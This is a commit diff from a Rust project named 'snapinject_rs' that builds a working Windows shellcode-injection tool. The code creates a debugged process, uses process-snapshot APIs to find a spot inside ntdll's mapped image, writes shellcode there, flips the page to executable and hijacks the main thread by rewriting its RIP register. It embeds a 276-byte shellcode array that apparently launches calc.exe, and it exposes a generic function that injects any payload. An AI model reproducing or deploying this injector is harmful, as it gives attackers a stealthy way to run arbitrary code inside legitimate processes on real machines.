mirror of
https://github.com/Teach2Breach/snapinject_rs
synced 2026-06-06 16:54:26 +00:00
working, needs polish
This commit is contained in:
+2
-2
@@ -7,5 +7,5 @@ edition = "2021"
|
||||
NtCreateUserProcess_rs = { git = "https://github.com/Teach2Breach/NtCreateUserProcess_rs.git" }
|
||||
noldr = { git = "https://github.com/Teach2Breach/noldr.git", branch = "main" }
|
||||
Snapshotting_rs = { git = "https://github.com/Teach2Breach/Snapshotting_rs" }
|
||||
winapi = { version = "0.3.9", features = ["processsnapshot", "processthreadsapi", "handleapi", "winerror", "heapapi", "memoryapi"] }
|
||||
windows = { version = "0.58.0", features = ["Win32_System_Diagnostics_ProcessSnapshotting"] }
|
||||
winapi = { version = "0.3.9", features = ["debugapi", "processsnapshot", "processthreadsapi", "handleapi", "winerror", "heapapi", "memoryapi"] }
|
||||
windows = { version = "0.58.0", features = ["Win32_System_Diagnostics_ProcessSnapshotting", "Win32_System_Diagnostics_Debug", "Win32_System_Kernel"] }
|
||||
+290
-61
@@ -1,35 +1,70 @@
|
||||
#![allow(unused_assignments)]
|
||||
#![allow(unused_variables)]
|
||||
|
||||
// Standard library imports
|
||||
use std::{
|
||||
ffi::c_void as std_c_void,
|
||||
mem::zeroed,
|
||||
ptr::null_mut,
|
||||
};
|
||||
|
||||
// Third-party crates
|
||||
use Snapshotting_rs::ProcessSnapshot;
|
||||
use winapi::um::winnt::{HANDLE, MEMORY_BASIC_INFORMATION, MEM_IMAGE, HEAP_ZERO_MEMORY};
|
||||
use winapi::ctypes::c_void as winapi_c_void;
|
||||
use std::ffi::c_void as std_c_void;
|
||||
|
||||
// WinAPI imports
|
||||
use winapi::{
|
||||
ctypes::c_void as winapi_c_void,
|
||||
shared::{
|
||||
minwindef::{DWORD, FALSE},
|
||||
winerror::ERROR_SUCCESS,
|
||||
},
|
||||
um::{
|
||||
debugapi::DebugActiveProcessStop,
|
||||
heapapi::{GetProcessHeap, HeapAlloc, HeapFree},
|
||||
memoryapi::{ReadProcessMemory, VirtualProtectEx, WriteProcessMemory},
|
||||
processthreadsapi::SetThreadContext,
|
||||
winbase::{DEBUG_PROCESS, DETACHED_PROCESS, NORMAL_PRIORITY_CLASS},
|
||||
winnt::{
|
||||
CONTEXT,
|
||||
HANDLE,
|
||||
HEAP_ZERO_MEMORY,
|
||||
MEMORY_BASIC_INFORMATION,
|
||||
MEM_IMAGE,
|
||||
PAGE_EXECUTE_READ,
|
||||
PAGE_READWRITE,
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
// Windows-rs imports
|
||||
use windows::Win32::System::Diagnostics::ProcessSnapshotting::{
|
||||
HPSSWALK,
|
||||
PssCaptureSnapshot,
|
||||
PssWalkMarkerCreate,
|
||||
PssWalkMarkerFree,
|
||||
PssWalkSnapshot,
|
||||
PSS_WALK_VA_SPACE,
|
||||
PSS_VA_SPACE_ENTRY,
|
||||
HPSS,
|
||||
PSS_CAPTURE_FLAGS,
|
||||
PSS_CAPTURE_VA_CLONE,
|
||||
PSS_CAPTURE_VA_SPACE,
|
||||
PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION,
|
||||
HPSSWALK,
|
||||
PSS_CAPTURE_THREADS,
|
||||
PSS_CAPTURE_THREAD_CONTEXT,
|
||||
PSS_THREAD_ENTRY,
|
||||
PSS_VA_SPACE_ENTRY,
|
||||
PSS_WALK_THREADS,
|
||||
PSS_WALK_VA_SPACE,
|
||||
};
|
||||
use winapi::shared::winerror::ERROR_SUCCESS;
|
||||
use std::ptr::null_mut;
|
||||
use winapi::um::heapapi::{GetProcessHeap, HeapAlloc, HeapFree};
|
||||
use winapi::um::memoryapi::ReadProcessMemory;
|
||||
|
||||
|
||||
pub fn get_helper(stack_offset: &mut usize, _base_address: *mut winapi_c_void, _shellcode_size: usize, stack: *mut winapi_c_void, size_of_image: usize) {
|
||||
pub fn get_helper(
|
||||
stack_offset: &mut usize,
|
||||
_base_address: *mut winapi_c_void,
|
||||
_shellcode_size: usize,
|
||||
stack: *mut winapi_c_void,
|
||||
size_of_image: usize,
|
||||
) {
|
||||
*stack_offset = 0;
|
||||
let mut j: u32 = 0;
|
||||
|
||||
|
||||
while j < size_of_image as u32 {
|
||||
*stack_offset = *stack_offset + j as usize;
|
||||
let stack_val = unsafe {
|
||||
*((stack as *mut u8).add(j as usize) as *mut usize)
|
||||
};
|
||||
let stack_val = unsafe { *((stack as *mut u8).add(j as usize) as *mut usize) };
|
||||
j = j + 1;
|
||||
if stack_val == 0 {
|
||||
*stack_offset = *stack_offset + j as usize;
|
||||
@@ -41,15 +76,15 @@ pub fn get_helper(stack_offset: &mut usize, _base_address: *mut winapi_c_void, _
|
||||
pub fn capture_process_snapshot(handle: HANDLE) -> Result<ProcessSnapshot, String> {
|
||||
println!("Capturing process...");
|
||||
//let flags: PSS_CAPTURE_FLAGS = PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_VA_SPACE | PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION;
|
||||
|
||||
|
||||
match ProcessSnapshot::new(handle) {
|
||||
Ok(snap) => {
|
||||
println!("Process snapshot completed successfully");
|
||||
println!("Snapshot handle: {:?}", snap);
|
||||
println!("Snapshot will be automatically freed when it goes out of scope");
|
||||
Ok(snap)
|
||||
},
|
||||
Err(e) => Err(format!("Error capturing process snapshot: {}", e))
|
||||
}
|
||||
Err(e) => Err(format!("Error capturing process snapshot: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -63,7 +98,10 @@ pub fn get_hidden_injection_address(
|
||||
let pss_success = unsafe { PssWalkMarkerCreate(None, &mut walker) };
|
||||
|
||||
if pss_success != ERROR_SUCCESS {
|
||||
eprintln!("[!] PssWalkMarkerCreate failed: Win32 error {}", pss_success);
|
||||
eprintln!(
|
||||
"[!] PssWalkMarkerCreate failed: Win32 error {}",
|
||||
pss_success
|
||||
);
|
||||
} else {
|
||||
println!("PssWalkMarkerCreate succeeded");
|
||||
}
|
||||
@@ -72,9 +110,12 @@ pub fn get_hidden_injection_address(
|
||||
|
||||
let mut buffer = vec![0u8; std::mem::size_of::<PSS_VA_SPACE_ENTRY>()];
|
||||
let mut va_space_entry: PSS_VA_SPACE_ENTRY = unsafe { std::mem::zeroed() };
|
||||
|
||||
|
||||
println!("About to start walking snapshot...");
|
||||
println!("Snapshot handle raw: {:#x}", snapshot.snapshot_handle as usize);
|
||||
println!(
|
||||
"Snapshot handle raw: {:#x}",
|
||||
snapshot.snapshot_handle as usize
|
||||
);
|
||||
println!("Walker handle raw: {:#x}", walker.0 as usize);
|
||||
let mut pss_success = unsafe {
|
||||
let result = PssWalkSnapshot(
|
||||
@@ -83,8 +124,11 @@ pub fn get_hidden_injection_address(
|
||||
walker,
|
||||
Some(&mut buffer),
|
||||
);
|
||||
println!("Initial PssWalkSnapshot result: {} (ERROR_NOT_FOUND = 1168)", result);
|
||||
|
||||
println!(
|
||||
"Initial PssWalkSnapshot result: {} (ERROR_NOT_FOUND = 1168)",
|
||||
result
|
||||
);
|
||||
|
||||
// Copy buffer regardless of result
|
||||
std::ptr::copy_nonoverlapping(
|
||||
buffer.as_ptr(),
|
||||
@@ -96,7 +140,7 @@ pub fn get_hidden_injection_address(
|
||||
|
||||
let mut i = 0;
|
||||
while pss_success == ERROR_SUCCESS {
|
||||
println!("\nExamining region {}:", i);
|
||||
//println!("\nExamining region {}:", i);
|
||||
i += 1;
|
||||
|
||||
let mut mem_basic_info = unsafe { std::mem::zeroed::<MEMORY_BASIC_INFORMATION>() };
|
||||
@@ -108,11 +152,11 @@ pub fn get_hidden_injection_address(
|
||||
mem_basic_info.Protect = va_space_entry.Protect;
|
||||
mem_basic_info.Type = va_space_entry.Type;
|
||||
|
||||
println!("Region details:");
|
||||
println!(" Base Address: {:p}", mem_basic_info.BaseAddress);
|
||||
println!(" Protection: {:#x}", mem_basic_info.Protect);
|
||||
println!(" Type: {:#x}", va_space_entry.Type);
|
||||
println!(" Size: {}", va_space_entry.SizeOfImage);
|
||||
//println!("Region details:");
|
||||
//println!(" Base Address: {:p}", mem_basic_info.BaseAddress);
|
||||
//println!(" Protection: {:#x}", mem_basic_info.Protect);
|
||||
//println!(" Type: {:#x}", va_space_entry.Type);
|
||||
//println!(" Size: {}", va_space_entry.SizeOfImage);
|
||||
|
||||
if mem_basic_info.Protect == 0x20 {
|
||||
println!("Found region with correct protection");
|
||||
@@ -120,28 +164,24 @@ pub fn get_hidden_injection_address(
|
||||
println!("Region is MEM_IMAGE");
|
||||
if va_space_entry.SizeOfImage > 1000000 {
|
||||
println!("[+] ntdll.dll captured");
|
||||
|
||||
|
||||
let mut stack: *mut winapi_c_void = null_mut();
|
||||
let mut stack_offset: usize = 0;
|
||||
|
||||
let success = unsafe {
|
||||
ReadProcessMemory(
|
||||
process_handle,
|
||||
va_space_entry.ImageBase as *const winapi_c_void,
|
||||
stack,
|
||||
shellcode_size,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
let success = unsafe {
|
||||
ReadProcessMemory(
|
||||
process_handle,
|
||||
va_space_entry.ImageBase as *const winapi_c_void,
|
||||
stack,
|
||||
shellcode_size,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
let heap = unsafe { GetProcessHeap() };
|
||||
stack = unsafe {
|
||||
HeapAlloc(
|
||||
heap,
|
||||
HEAP_ZERO_MEMORY,
|
||||
mem_basic_info.RegionSize as usize
|
||||
)
|
||||
};
|
||||
let heap = unsafe { GetProcessHeap() };
|
||||
stack = unsafe {
|
||||
HeapAlloc(heap, HEAP_ZERO_MEMORY, mem_basic_info.RegionSize as usize)
|
||||
};
|
||||
|
||||
if !stack.is_null() {
|
||||
get_helper(
|
||||
@@ -149,23 +189,28 @@ pub fn get_hidden_injection_address(
|
||||
mem_basic_info.BaseAddress,
|
||||
shellcode_size,
|
||||
stack,
|
||||
va_space_entry.SizeOfImage as usize
|
||||
va_space_entry.SizeOfImage as usize,
|
||||
);
|
||||
|
||||
|
||||
println!("Stack offset calculated: {:#x}", stack_offset);
|
||||
|
||||
shellcode_location = ((stack_offset + mem_basic_info.BaseAddress as usize) - shellcode_size * 3) as *mut winapi_c_void;
|
||||
|
||||
shellcode_location = ((stack_offset + mem_basic_info.BaseAddress as usize)
|
||||
- shellcode_size * 3)
|
||||
as *mut winapi_c_void;
|
||||
println!("Shellcode location: {:p}", shellcode_location);
|
||||
|
||||
|
||||
unsafe { HeapFree(heap, 0, stack) };
|
||||
unsafe { PssWalkMarkerFree(walker) };
|
||||
println!("[+] Original base address: {:p}", mem_basic_info.BaseAddress);
|
||||
println!("[+] Stack offset: {:#x}", stack_offset);
|
||||
println!("[+] Final shellcode location: {:p}", shellcode_location);
|
||||
return Ok(shellcode_location);
|
||||
}
|
||||
} else {
|
||||
println!("Region size too small: {}", va_space_entry.SizeOfImage);
|
||||
//println!("Region size too small: {}", va_space_entry.SizeOfImage);
|
||||
}
|
||||
} else {
|
||||
println!("Not MEM_IMAGE type: {:#x}", va_space_entry.Type);
|
||||
//println!("Not MEM_IMAGE type: {:#x}", va_space_entry.Type);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -176,8 +221,8 @@ pub fn get_hidden_injection_address(
|
||||
walker,
|
||||
Some(&mut buffer),
|
||||
);
|
||||
println!("PssWalkSnapshot result: {}", result);
|
||||
|
||||
//println!("PssWalkSnapshot result: {}", result);
|
||||
|
||||
// Copy buffer regardless of result
|
||||
std::ptr::copy_nonoverlapping(
|
||||
buffer.as_ptr(),
|
||||
@@ -191,4 +236,188 @@ pub fn get_hidden_injection_address(
|
||||
println!("Finished walking snapshot. Examined {} regions", i);
|
||||
unsafe { PssWalkMarkerFree(walker) };
|
||||
Err("No suitable injection location found".to_string())
|
||||
}
|
||||
|
||||
pub fn inject_and_rwx(
|
||||
process_handle: HANDLE,
|
||||
shellcode_location: *mut winapi_c_void,
|
||||
shellcode: &[u8],
|
||||
) -> bool {
|
||||
let mut old_protect: DWORD = 0;
|
||||
let size = shellcode.len();
|
||||
let mut bytes_written: usize = 0;
|
||||
|
||||
// First VirtualProtectEx call to set PAGE_READWRITE
|
||||
let success = unsafe {
|
||||
VirtualProtectEx(
|
||||
process_handle,
|
||||
shellcode_location,
|
||||
size,
|
||||
PAGE_READWRITE,
|
||||
&mut old_protect,
|
||||
)
|
||||
};
|
||||
|
||||
if success == 0 {
|
||||
eprintln!("[!] [1] VirtualProtectEx FAILED with Error: {}", unsafe {
|
||||
winapi::um::errhandlingapi::GetLastError()
|
||||
});
|
||||
return false;
|
||||
}
|
||||
|
||||
// WriteProcessMemory to inject shellcode
|
||||
let success = unsafe {
|
||||
WriteProcessMemory(
|
||||
process_handle,
|
||||
shellcode_location,
|
||||
shellcode.as_ptr() as *const winapi_c_void,
|
||||
size,
|
||||
&mut bytes_written,
|
||||
)
|
||||
};
|
||||
|
||||
if success == 0 {
|
||||
eprintln!("[!] WriteProcessMemory FAILED with Error: {}", unsafe {
|
||||
winapi::um::errhandlingapi::GetLastError()
|
||||
});
|
||||
return false;
|
||||
}
|
||||
|
||||
// Second VirtualProtectEx call to set PAGE_EXECUTE_READWRITE
|
||||
let success = unsafe {
|
||||
VirtualProtectEx(
|
||||
process_handle,
|
||||
shellcode_location,
|
||||
size,
|
||||
PAGE_EXECUTE_READ,
|
||||
&mut old_protect,
|
||||
)
|
||||
};
|
||||
|
||||
if success == 0 {
|
||||
eprintln!("[!] [2] VirtualProtectEx FAILED with Error: {}", unsafe {
|
||||
winapi::um::errhandlingapi::GetLastError()
|
||||
});
|
||||
return false;
|
||||
}
|
||||
|
||||
true
|
||||
}
|
||||
|
||||
pub fn snap_thread_hijack(
|
||||
pid: DWORD,
|
||||
thread_handle: HANDLE,
|
||||
thread_id: DWORD,
|
||||
target_process: *mut winapi::ctypes::c_void,
|
||||
rip: Option<*mut winapi_c_void>,
|
||||
rsp: Option<*mut winapi_c_void>,
|
||||
) -> bool {
|
||||
unsafe {
|
||||
let mut snapshot_ctx: CONTEXT = zeroed();
|
||||
let mut snapshot_handle = HPSS::default();
|
||||
let mut walk_marker_handle = HPSSWALK::default();
|
||||
let mut thread_entry: PSS_THREAD_ENTRY = zeroed();
|
||||
let mut buffer = vec![0u8; std::mem::size_of::<PSS_THREAD_ENTRY>()];
|
||||
|
||||
// Capture snapshot
|
||||
let capture_flags = PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT;
|
||||
let win32_handle = windows::Win32::Foundation::HANDLE(target_process as _);
|
||||
let pss_result = PssCaptureSnapshot(
|
||||
win32_handle,
|
||||
capture_flags,
|
||||
0x0010_0017, // CONTEXT_ALL
|
||||
&mut snapshot_handle,
|
||||
);
|
||||
|
||||
if pss_result != 0 {
|
||||
eprintln!("[!] PssCaptureSnapshot failed: Win32 error {}", winapi::um::errhandlingapi::GetLastError());
|
||||
return false;
|
||||
}
|
||||
println!("[+] Snapshot captured successfully");
|
||||
|
||||
// Create walk marker
|
||||
let pss_result = PssWalkMarkerCreate(None, &mut walk_marker_handle);
|
||||
if pss_result != 0 {
|
||||
eprintln!("[!] PssWalkMarkerCreate failed: Win32 error {}", winapi::um::errhandlingapi::GetLastError());
|
||||
return false;
|
||||
}
|
||||
println!("[+] Walk marker created successfully");
|
||||
|
||||
// Walk through threads
|
||||
let mut pss_result = PssWalkSnapshot(
|
||||
snapshot_handle,
|
||||
PSS_WALK_THREADS,
|
||||
walk_marker_handle,
|
||||
Some(&mut buffer),
|
||||
);
|
||||
|
||||
while pss_result == 0 {
|
||||
// Copy buffer to thread_entry
|
||||
std::ptr::copy_nonoverlapping(
|
||||
buffer.as_ptr(),
|
||||
&mut thread_entry as *mut _ as *mut u8,
|
||||
std::mem::size_of::<PSS_THREAD_ENTRY>(),
|
||||
);
|
||||
|
||||
if thread_entry.ThreadId == thread_id {
|
||||
// Copy context record
|
||||
if !thread_entry.ContextRecord.is_null() {
|
||||
std::ptr::copy_nonoverlapping(
|
||||
thread_entry.ContextRecord as *const winapi::um::winnt::CONTEXT,
|
||||
&mut snapshot_ctx,
|
||||
1,
|
||||
);
|
||||
|
||||
println!("[+] Original thread entry context record: {:p}", thread_entry.ContextRecord);
|
||||
println!("[+] Thread ID we're targeting: {}", thread_id);
|
||||
println!("[+] Process creation flags included DEBUG_PROCESS: {}",
|
||||
NORMAL_PRIORITY_CLASS | DETACHED_PROCESS | DEBUG_PROCESS);
|
||||
|
||||
println!("[+] Snapctx.Rip Before Setting: 0x{:x}", snapshot_ctx.Rip);
|
||||
|
||||
if let Some(rip_ptr) = rip {
|
||||
// Create a u64 with the address value instead of dereferencing
|
||||
snapshot_ctx.Rip = rip_ptr as u64;
|
||||
println!("[+] Setting RIP directly to address: 0x{:x}", snapshot_ctx.Rip);
|
||||
//println!("[+] Shellcode location (raw pointer): {:p}", rip_ptr);
|
||||
}
|
||||
if let Some(rsp_ptr) = rsp {
|
||||
snapshot_ctx.Rsp = rsp_ptr as u64;
|
||||
}
|
||||
|
||||
println!("[+] Snapctx.Rip After Setting: 0x{:x}", snapshot_ctx.Rip);
|
||||
|
||||
println!("[+] Setting thread context...");
|
||||
|
||||
if SetThreadContext(thread_handle, &snapshot_ctx) == FALSE {
|
||||
eprintln!("[!] SetThreadContext FAILED with Error: {}", winapi::um::errhandlingapi::GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
std::thread::sleep(std::time::Duration::from_secs(5));
|
||||
|
||||
println!("[+] DebugActiveProcessStop...");
|
||||
DebugActiveProcessStop(pid);
|
||||
println!("[+] DONE");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
pss_result = PssWalkSnapshot(
|
||||
snapshot_handle,
|
||||
PSS_WALK_THREADS,
|
||||
walk_marker_handle,
|
||||
Some(&mut buffer),
|
||||
);
|
||||
}
|
||||
|
||||
// Free walk marker
|
||||
let pss_result = PssWalkMarkerFree(walk_marker_handle);
|
||||
if pss_result != 0 {
|
||||
eprintln!("[!] PssWalkMarkerFree failed: Win32 error {}", winapi::um::errhandlingapi::GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
true
|
||||
}
|
||||
}
|
||||
+87
@@ -0,0 +1,87 @@
|
||||
pub use winapi;
|
||||
use winapi::um::{processthreadsapi::{CreateProcessA, PROCESS_INFORMATION, STARTUPINFOA}, winbase::{DEBUG_PROCESS, DETACHED_PROCESS, NORMAL_PRIORITY_CLASS}};
|
||||
pub const CALC_SHELLCODE: [u8; 276] = [
|
||||
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
|
||||
0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52,
|
||||
0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
|
||||
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed,
|
||||
0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
|
||||
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
|
||||
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48,
|
||||
0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
|
||||
0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
|
||||
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
|
||||
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a,
|
||||
0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
|
||||
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b,
|
||||
0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
|
||||
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47,
|
||||
0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e,
|
||||
0x65, 0x78, 0x65, 0x00,
|
||||
];
|
||||
|
||||
mod func;
|
||||
|
||||
pub fn inject_shellcode(process_name: &str, shellcode: &[u8]) -> Result<(), String> {
|
||||
// Format the process path
|
||||
let process_path = if !process_name.contains('\\') {
|
||||
format!("C:\\Windows\\System32\\{}", process_name)
|
||||
} else {
|
||||
process_name.to_string()
|
||||
};
|
||||
|
||||
// Create the startup info and process info structs
|
||||
let mut si: STARTUPINFOA = unsafe { std::mem::zeroed() };
|
||||
let mut pi: PROCESS_INFORMATION = unsafe { std::mem::zeroed() };
|
||||
si.cb = std::mem::size_of::<STARTUPINFOA>() as u32;
|
||||
|
||||
// Create the process
|
||||
let success = unsafe {
|
||||
CreateProcessA(
|
||||
std::ptr::null(),
|
||||
process_path.as_ptr() as *mut i8,
|
||||
std::ptr::null_mut(),
|
||||
std::ptr::null_mut(),
|
||||
1,
|
||||
NORMAL_PRIORITY_CLASS | DETACHED_PROCESS | DEBUG_PROCESS,
|
||||
std::ptr::null_mut(),
|
||||
std::ptr::null(),
|
||||
&mut si,
|
||||
&mut pi,
|
||||
)
|
||||
};
|
||||
|
||||
if success == 0 {
|
||||
return Err(format!("Failed to create process: {}", unsafe {
|
||||
winapi::um::errhandlingapi::GetLastError()
|
||||
}));
|
||||
}
|
||||
|
||||
let process_handle = pi.hProcess;
|
||||
let shellcode_size = shellcode.len();
|
||||
|
||||
let shellcode_location = func::get_hidden_injection_address(process_handle, shellcode_size)
|
||||
.map_err(|e| format!("Failed to get injection address: {}", e))?;
|
||||
|
||||
if !func::inject_and_rwx(process_handle, shellcode_location, shellcode) {
|
||||
return Err("Failed to inject shellcode".to_string());
|
||||
}
|
||||
|
||||
if !func::snap_thread_hijack(
|
||||
pi.dwProcessId,
|
||||
pi.hThread,
|
||||
pi.dwThreadId,
|
||||
process_handle,
|
||||
Some(shellcode_location),
|
||||
None,
|
||||
) {
|
||||
return Err("Failed to hijack thread".to_string());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn inject_calc_shellcode(process_name: &str) -> Result<(), String> {
|
||||
inject_shellcode(process_name, &CALC_SHELLCODE)
|
||||
}
|
||||
|
||||
+44
-7
@@ -1,8 +1,8 @@
|
||||
//use noldr::{get_dll_address, get_teb};
|
||||
use winapi::um::processthreadsapi::CreateProcessA;
|
||||
use winapi::um::winbase::{NORMAL_PRIORITY_CLASS, DETACHED_PROCESS, DEBUG_PROCESS};
|
||||
use winapi::um::processthreadsapi::STARTUPINFOA;
|
||||
use winapi::um::processthreadsapi::PROCESS_INFORMATION;
|
||||
use winapi::um::processthreadsapi::STARTUPINFOA;
|
||||
use winapi::um::winbase::{DEBUG_PROCESS, DETACHED_PROCESS, NORMAL_PRIORITY_CLASS};
|
||||
|
||||
mod func;
|
||||
|
||||
@@ -29,7 +29,7 @@ pub const SHELL_CODE: [u8; 276] = [
|
||||
];
|
||||
|
||||
fn main() {
|
||||
|
||||
/*
|
||||
//set the process name to RunTimeBroker.exe for testing
|
||||
let process_name = "RunTimeBroker.exe".to_string();
|
||||
//format the process path
|
||||
@@ -56,13 +56,15 @@ fn main() {
|
||||
std::ptr::null_mut(),
|
||||
std::ptr::null(),
|
||||
&mut si,
|
||||
&mut pi
|
||||
&mut pi,
|
||||
)
|
||||
};
|
||||
|
||||
//check if the process was created successfully
|
||||
if success == 0 {
|
||||
eprintln!("Failed to create process: {}", unsafe { winapi::um::errhandlingapi::GetLastError() });
|
||||
eprintln!("Failed to create process: {}", unsafe {
|
||||
winapi::um::errhandlingapi::GetLastError()
|
||||
});
|
||||
std::process::exit(1);
|
||||
}
|
||||
|
||||
@@ -107,8 +109,43 @@ fn main() {
|
||||
*/
|
||||
|
||||
let shellcode_size = SHELL_CODE.len();
|
||||
let shellcode_location = func::get_hidden_injection_address(process_handle, shellcode_size).unwrap();
|
||||
let shellcode_location =
|
||||
func::get_hidden_injection_address(process_handle, shellcode_size).unwrap();
|
||||
|
||||
println!("Shellcode location: 0x{:x}", shellcode_location as usize);
|
||||
//println!("Shellcode location: 0x{:x}", shellcode_location as usize);
|
||||
|
||||
// Add this code to inject the shellcode
|
||||
if !func::inject_and_rwx(process_handle, shellcode_location, &SHELL_CODE) {
|
||||
eprintln!("Failed to inject shellcode");
|
||||
std::process::exit(1);
|
||||
}
|
||||
|
||||
println!(
|
||||
"Shellcode injected successfully at: 0x{:x}",
|
||||
shellcode_location as usize
|
||||
);
|
||||
|
||||
// ... after shellcode injection ...
|
||||
|
||||
println!("Press enter to hijack the thread");
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input).unwrap();
|
||||
|
||||
// Hijack the thread to execute the shellcode
|
||||
if !func::snap_thread_hijack(
|
||||
pi.dwProcessId,
|
||||
pi.hThread,
|
||||
pi.dwThreadId,
|
||||
process_handle,
|
||||
Some(shellcode_location),
|
||||
None,
|
||||
){
|
||||
eprintln!("Failed to hijack thread");
|
||||
std::process::exit(1);
|
||||
}
|
||||
|
||||
println!("Thread hijacked successfully");
|
||||
*/
|
||||
|
||||
snapinject_rs::inject_calc_shellcode("RunTimeBroker.exe").unwrap();
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user